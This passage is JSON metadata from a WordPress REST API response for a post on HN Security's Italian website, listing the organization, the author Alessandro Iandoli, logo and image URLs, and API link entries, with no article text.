Specialists","publisher":{"@id":"https:\/\/hnsecurity.it\/it\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hnsecurity.it\/it\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"it-IT"},{"@type":"Organization","@id":"https:\/\/hnsecurity.it\/it\/#organization","name":"HN Security","url":"https:\/\/hnsecurity.it\/it\/","logo":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/","url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","contentUrl":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2026\/01\/hn-libellula.jpg","width":696,"height":696,"caption":"HN Security"},"image":{"@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/x.com\/hnsec","https:\/\/www.linkedin.com\/company\/hnsecurity\/","https:\/\/github.com\/hnsecurity","https:\/\/infosec.exchange\/@hnsec"]},{"@type":"Person","@id":"https:\/\/hnsecurity.it\/it\/#\/schema\/person\/7883a9c36dac7694ca101137125d5fff","name":"Alessandro Iandoli","image":{"@type":"ImageObject","inLanguage":"it-IT","@id":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/644822f5d8329ca419a50c1f39c97de5ccd163d1932e4cdc60a6cc8cb64ed29e?s=96&d=mm&r=g","caption":"Alessandro Iandoli"},"url":"https:\/\/hnsecurity.it\/it\/blog\/author\/ale98\/"}]}},"jetpack_featured_media_url":"https:\/\/hnsecurity.it\/wp-content\/uploads\/2025\/09\/AMD.jpg","_links":{"self":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4091","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/users\/12"}],"replies":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/comments?post=4091"}],"version-history":[{"count":1,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4091\/revisions"}],"predecessor-version":[{"id":160088,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/posts\/4091\/revisions\/160088"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media\/159895"}],"wp:attachment":[{"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/media?parent=4091"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/categories?post=4091"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/hnsecurity.it\/it\/wp-json\/wp\/v2\/tags?post=4091"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}